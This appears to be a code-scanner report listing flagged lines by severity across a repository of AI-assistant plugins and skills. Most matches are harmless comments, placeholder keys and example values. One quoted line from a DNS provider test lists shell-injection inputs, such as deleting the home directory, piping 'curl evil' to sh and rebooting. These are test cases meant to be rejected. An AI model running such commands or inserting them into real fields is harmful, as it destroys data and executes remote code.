| LOW | …ce/skills/hard-predict-future/scripts/signal_scorer.py | 18 | CODE | |
| 9 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …l-skills/skills/skill-creator/scripts/package_skill.py | 66 | # Create the zip file | COMMENT |
| MEDIUM⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 767 | # Create a clean copy | COMMENT |
| MEDIUM | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 919 | # Create a copy of the document to avoid modifying the original | COMMENT |
| MEDIUM | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 298 | ): # This file is not referenced by .rels | CODE |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 401 | # Create a highlight overlay | COMMENT |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/rearrange.py | 108 | # Create a new relationship in the destination slide for this image | COMMENT |
| MEDIUM | …all-skills/skills/slack-gif-creator/core/typography.py | 248 | # Create a separate layer for the box with alpha | COMMENT |
| MEDIUM | …ll-skills/skills/slack-gif-creator/core/gif_builder.py | 70 | # Create a global palette from all frames | COMMENT |
| MEDIUM | …ll-skills/skills/slack-gif-creator/core/gif_builder.py | 80 | # Create a properly-shaped RGB image from the pixel data | COMMENT |
| MEDIUM⚡ | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 767 | # Create a clean copy | COMMENT |
| MEDIUM | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 919 | # Create a copy of the document to avoid modifying the original | COMMENT |
| MEDIUM | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 298 | ): # This file is not referenced by .rels | CODE |
| MEDIUM | plugins/all-skills/skills/docx/scripts/document.py | 984 | # Create the relationship entry | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ills/ecommerce-material-studio/scripts/brand_loader.py | 153 | 加载品牌配置 Args: brand_name: 品牌名称（不区分大小写，如 "langke", "朗科"） Returns: BrandConfig 对象 Raise | STRING |
| HIGH | …ills/skills/mcp-builder/reference/python_mcp_server.md | 308 | Search for users in the Example system by name, email, or team. This tool searches across all user profiles in | STRING |
| HIGH | plugins/all-skills/skills/docx/scripts/document.py | 265 | Reject an insertion by wrapping its content in a deletion. Wraps all runs inside w:ins in w:del, converting w:t | STRING |
| HIGH | plugins/all-skills/skills/docx/scripts/document.py | 343 | Reject a deletion by re-inserting the deleted content. Creates w:ins elements after each w:del, copying deleted | STRING |
| HIGH | plugins/all-skills/skills/docx/scripts/document.py | 483 | Mark a w:r or w:p element as deleted with tracked changes (in-place DOM manipulation). For w:r: wraps in <w:del | STRING |
| HIGH | plugins/all-skills/skills/docx/scripts/document.py | 681 | Get or create a DocxXMLEditor for the specified XML file. Enables lazy-loaded editors with bracket not | STRING |
| HIGH | plugins/all-skills/skills/docx/scripts/utilities.py | 83 | Get a DOM element by tag and identifier. Finds an element by either its line number in the original fi | STRING |
| HIGH | plugins/all-skills/skills/docx/scripts/utilities.py | 313 | Parse XML fragment and return list of imported nodes. Args: xml_content: String containing | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | plugins/all-skills/skills/pptx/scripts/rearrange.py | 176 | # Step 1: DUPLICATE repeated slides | COMMENT |
| LOW⚡ | plugins/all-skills/skills/pptx/scripts/rearrange.py | 200 | # Step 2: DELETE unwanted slides (work backwards) | COMMENT |
| LOW⚡ | plugins/all-skills/skills/pptx/scripts/rearrange.py | 209 | # Step 3: REORDER to final sequence | COMMENT |
| LOW⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 251 | # Step 2: 风格匹配 | COMMENT |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 222 | # Step 1: 品类识别（如果用户未指定品类） | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 225 | # Step 1: 比例计算 | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 234 | # Step 2: 获取位置策略 | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 249 | # Step 3: 计算product_bbox | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 254 | # Step 4: 计算text_zones | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 259 | # Step 5: 计算brand_zones | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 262 | # Step 6: 场景色调 | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 265 | # Step 7: 生成空间约束prompt（含参照物描述） | COMMENT |
| LOW⚡ | …lls/ecommerce-material-studio/scripts/layout_engine.py | 268 | # Step 8: 冲突检测与修正 | COMMENT |
| LOW | …e/skills/cap-table-waterfall/scripts/waterfall_calc.py | 42 | # Step 1: Return of capital to preferred (1× of invested) | COMMENT |
| LOW | …e/skills/cap-table-waterfall/scripts/waterfall_calc.py | 53 | # Step 2: Remaining split | COMMENT |
| LOW | web-ui/app/api/admin/migrate-plugins/route.ts | 92 | // Step 1: Create or get the local marketplace | COMMENT |
| LOW⚡ | web-ui/app/api/admin/migrate-plugins/route.ts | 125 | // Step 2: Read registry.json | COMMENT |
| LOW⚡ | web-ui/app/api/admin/migrate-plugins/route.ts | 134 | // Step 3: Migrate subagents | COMMENT |
| LOW | web-ui/app/api/admin/migrate-plugins/route.ts | 174 | // Step 4: Migrate commands | COMMENT |
| LOW | web-ui/app/api/admin/migrate-plugins/route.ts | 214 | // Step 5: Migrate hooks | COMMENT |
| LOW | web-ui/app/api/admin/migrate-plugins/route.ts | 254 | // Step 6: Migrate skills from file system | COMMENT |
| LOW | web-ui/app/api/admin/migrate-plugins/route.ts | 281 | // Step 7: Migrate external plugins (if any) | COMMENT |
| LOW | web-ui/app/api/admin/migrate-plugins/route.ts | 354 | // Step 8: Update marketplace plugin counts | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …-superpowers/skills/surveys/references/tally-survey.md | 50 | claude mcp add --transport http tally https://api.tally.so/mcp --header "Authorization: Bearer YOUR_API_KEY" | CODE |
| HIGH | …-superpowers/skills/surveys/references/tally-survey.md | 52 | Replace `YOUR_API_KEY` with the key you just copied. | CODE |
| HIGH | plugins/claude-ops/skills/setup/SKILL.md | 1974 | "client_secret": "GOCSPX-<YOUR_SECRET>", | CODE |
| HIGH | plugins/claude-ops/skills/ops-gtm/SKILL.md | 339 | - **Rule 0 — public repo**: every example above uses `your-project`, `you@example.com`, `<YOUR_TOKEN>`. Never save user- | CODE |
| HIGH | plugins/all-skills/skills/atlas-cloud-media/SKILL.md | 27 | export ATLASCLOUD_API_KEY="your-api-key" | CODE |
| HIGH | plugins/all-skills/skills/muapi-media/SKILL.md | 31 | export MUAPI_API_KEY="your-api-key" | CODE |
| HIGH | …/all-skills/skills/mcp-builder/reference/evaluation.md | 557 | export ANTHROPIC_API_KEY=your_api_key | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …nds-framework-svelte/commands/svelte-storybook-mock.md | 175 | email: 'user@example.com', | CODE |
| LOW | plugins/all-commands/commands/svelte-storybook-mock.md | 175 | email: 'user@example.com', | CODE |
| LOW | plugins/all-commands/commands/design-rest-api.md | 709 | example: 'user@example.com' | CODE |
| LOW | plugins/claude-ops/skills/ops-comms/SKILL.md | 72 | | `gog gmail send --to "user@example.com" --subject "subj" --body "text"` | Send new email | Send result | | CODE |
| LOW | plugins/claude-ops/skills/setup/SKILL.md | 3030 | gog gmail send --to "user@example.com" --subject "subj" --body "text" # Send new email | CODE |
| LOW | plugins/claude-ops/skills/setup/SKILL.md | 3039 | gog gmail drafts create --to "user@example.com" --subject "subj" --body "text" | CODE |
| LOW | plugins/frontend-design-pro/commands/design.md | 196 | - No Lorem ipsum (realistic content) | CODE |
| LOW | …gins/frontend-design-pro/skills/design-wizard/SKILL.md | 178 | - No Lorem ipsum (realistic placeholder content) | CODE |
| LOW | …ins/all-skills/skills/google-drive-automation/SKILL.md | 84 | - User email searches: use `'user@example.com' in owners` (NOT `owner:user@example.com`) | CODE |
| LOW | plugins/all-skills/skills/intercom-automation/SKILL.md | 172 | "value": "user@example.com" | CODE |
| LOW | plugins/all-skills/skills/freshdesk-automation/SKILL.md | 142 | - `query`: Search string like `"email:'user@example.com'"` (required) | CODE |
| LOW | plugins/all-skills/skills/freshdesk-automation/SKILL.md | 163 | - **Requester email -> requester_id**: `FRESHDESK_SEARCH_CONTACTS` with `"email:'user@example.com'"` | CODE |
| LOW | plugins/all-skills/skills/pptx/SKILL.md | 155 | - Use `class="placeholder"` for areas where charts/tables will be added (render with gray background for visibility) | CODE |
| LOW | plugins/all-skills/skills/pptx/html2pptx.md | 34 | - `class="placeholder"` - Reserved space for charts (returns `{ id, x, y, w, h }`) | CODE |
| LOW | plugins/all-skills/skills/pptx/html2pptx.md | 172 | <div id="chart" class="placeholder" style="width: 350pt; height: 200pt;"></div> | CODE |
| LOW | plugins/all-skills/skills/pptx/scripts/html2pptx.js | 16 | * - Extracts placeholder elements (class="placeholder") with positions | COMMENT |
| LOW | plugins/all-skills/skills/pptx/scripts/html2pptx.js | 558 | if (el.className && el.className.includes('placeholder')) { | CODE |
| LOW | …ills/webapp-testing/examples/static_html_automation.py | 21 | page.fill('#name', 'John Doe') | CODE |
| LOW | plugins/all-skills/skills/resemble-detect/SKILL.md | 368 | "name": "Jane Doe" | CODE |
| LOW | plugins/all-skills/skills/resemble-detect/SKILL.md | 390 | { "uuid": "...", "name": "Jane Doe", "confidence": 0.92, "distance": 0.08 } | CODE |
| LOW | …ugins/all-skills/skills/convertkit-automation/SKILL.md | 140 | 1. Call KIT_LIST_SUBSCRIBERS with email_address='user@example.com' | CODE |
| LOW | …ills/skills/mcp-builder/reference/python_mcp_server.md | 332 | "name": str, # Full name (e.g., "John Doe") | STRING |
| LOW | …ills/skills/mcp-builder/reference/python_mcp_server.md | 599 | return {"id": user_id, "name": "John Doe", "email": "john@example.com"} | CODE |
| LOW | …skills/skills/mcp-builder/reference/node_mcp_server.md | 154 | "name": string, // Full name (e.g., "John Doe") | CODE |
| LOW | plugins/all-skills/skills/sendgrid-automation/SKILL.md | 136 | - `query`: SQL-like query string, e.g., `status="delivered"`, `to_email="user@example.com"`, date ranges with `BETWEEN T | CODE |
| LOW | plugins/all-skills/skills/docx/ooxml.md | 298 | doc = Document('unpacked', author="John Doe", initials="JD") | CODE |
| LOW | plugins/all-skills/skills/docx/scripts/document.py | 10 | doc = Document('workspace/unpacked', author="John Doe", initials="JD") | STRING |
| LOW | plugins/gsd/agents/gsd-plan-checker.md | 354 | - `"future enhancement"`, `"placeholder"`, `"basic version"`, `"minimal"` | CODE |
| LOW | plugins/gsd/agents/gsd-executor.md | 571 | - Placeholder text: "not available", "coming soon", "placeholder", "TODO", "FIXME" | CODE |
| LOW | plugins/gsd/agents/gsd-planner.md | 80 | - "future enhancement", "placeholder", "basic version", "minimal implementation" | CODE |
| LOW | …s/commands-api-development/commands/design-rest-api.md | 709 | example: 'user@example.com' | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 0 | run all validation checks and return true if all pass. | STRING |
| HIGH | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 0 | run all validation checks and return true if all pass. | STRING |
| HIGH | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 0 | run all validation checks and return true if all pass. | STRING |
| HIGH | …ll-skills/skills/docx/ooxml/scripts/validation/docx.py | 0 | run all validation checks and return true if all pass. | STRING |
| HIGH | …ll-skills/skills/docx/ooxml/scripts/validation/pptx.py | 0 | run all validation checks and return true if all pass. | STRING |
| HIGH | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 0 | run all validation checks and return true if all pass. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …all-skills/skills/slack-gif-creator/templates/pulse.py | 231 | # Example usage | COMMENT |
| LOW | …ll-skills/skills/slack-gif-creator/templates/wiggle.py | 263 | # Example usage | COMMENT |
| LOW | …lls/skills/slack-gif-creator/templates/kaleidoscope.py | 195 | # Example usage | COMMENT |
| LOW | …all-skills/skills/slack-gif-creator/templates/slide.py | 234 | # Example usage | COMMENT |
| LOW | …/all-skills/skills/slack-gif-creator/templates/spin.py | 234 | # Example usage | COMMENT |
| LOW | …/all-skills/skills/slack-gif-creator/templates/zoom.py | 282 | # Example usage | COMMENT |
| LOW | …all-skills/skills/slack-gif-creator/templates/shake.py | 112 | # Example usage | COMMENT |
| LOW | …all-skills/skills/slack-gif-creator/templates/morph.py | 285 | # Example usage | COMMENT |
| LOW | …ll-skills/skills/slack-gif-creator/templates/bounce.py | 87 | # Example usage | COMMENT |
| LOW | …l-skills/skills/slack-gif-creator/templates/explode.py | 296 | # Example usage | COMMENT |
| LOW | …/all-skills/skills/slack-gif-creator/templates/move.py | 240 | # Example usage | COMMENT |
| LOW | …/all-skills/skills/slack-gif-creator/templates/flip.py | 256 | # Example usage | COMMENT |
| LOW | …/all-skills/skills/slack-gif-creator/templates/fade.py | 290 | # Example usage | COMMENT |
| LOW | …/all-skills/skills/obsidian-rest-api/scripts/olrapi.sh | 6 | # Usage: | COMMENT |
| LOW | …s/skills/youtube-transcript/scripts/resolve_channel.sh | 5 | # Usage: | COMMENT |
| LOW | …lls/youtube-transcript/scripts/fetch_channel_latest.sh | 6 | # Usage: | COMMENT |
| LOW | …/skills/youtube-transcript/scripts/fetch_transcript.sh | 4 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …lls/ecommerce-material-studio/scripts/style_matcher.py | 501 | CODE | |
| LOW | …erce-material-studio/scripts/scene_aware_compositor.py | 1089 | CODE | |
| LOW | …erce-material-studio/scripts/scene_aware_compositor.py | 759 | CODE | |
| LOW | …ecommerce-material-studio/scripts/category_detector.py | 744 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 181 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/templates/pulse.py | 20 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/templates/pulse.py | 188 | CODE | |
| LOW | …ll-skills/skills/slack-gif-creator/templates/wiggle.py | 20 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/templates/slide.py | 19 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/spin.py | 20 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/zoom.py | 20 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/templates/shake.py | 19 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/templates/morph.py | 20 | CODE | |
| LOW | …ll-skills/skills/slack-gif-creator/templates/bounce.py | 19 | CODE | |
| LOW | …l-skills/skills/slack-gif-creator/templates/explode.py | 23 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/move.py | 19 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/flip.py | 20 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/fade.py | 20 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 126 | for bad in ["$(rm -rf ~)", "`id`", "a && curl evil|sh", "a; reboot", "a|b", "a\nb", "a b", "$(curl http://x)"]: | CODE |
| HIGH | …ll-skills/skills/webapp-testing/scripts/with_server.py | 12 | --server "cd backend && python server.py" --port 3000 \ | STRING |
| HIGH | …ll-skills/skills/webapp-testing/scripts/with_server.py | 13 | --server "cd frontend && npm run dev" --port 5173 \ | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | plugins/all-commands/commands/test-coverage.md | 128 | - Properly exclude auto-generated code | CODE |
| HIGH | …mmands-code-analysis-testing/commands/test-coverage.md | 128 | - Properly exclude auto-generated code | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …kills/skills/pptx/ooxml/scripts/validation/__init__.py | 10 | __all__ = [ | CODE |
| LOW | …kills/skills/docx/ooxml/scripts/validation/__init__.py | 10 | __all__ = [ | CODE |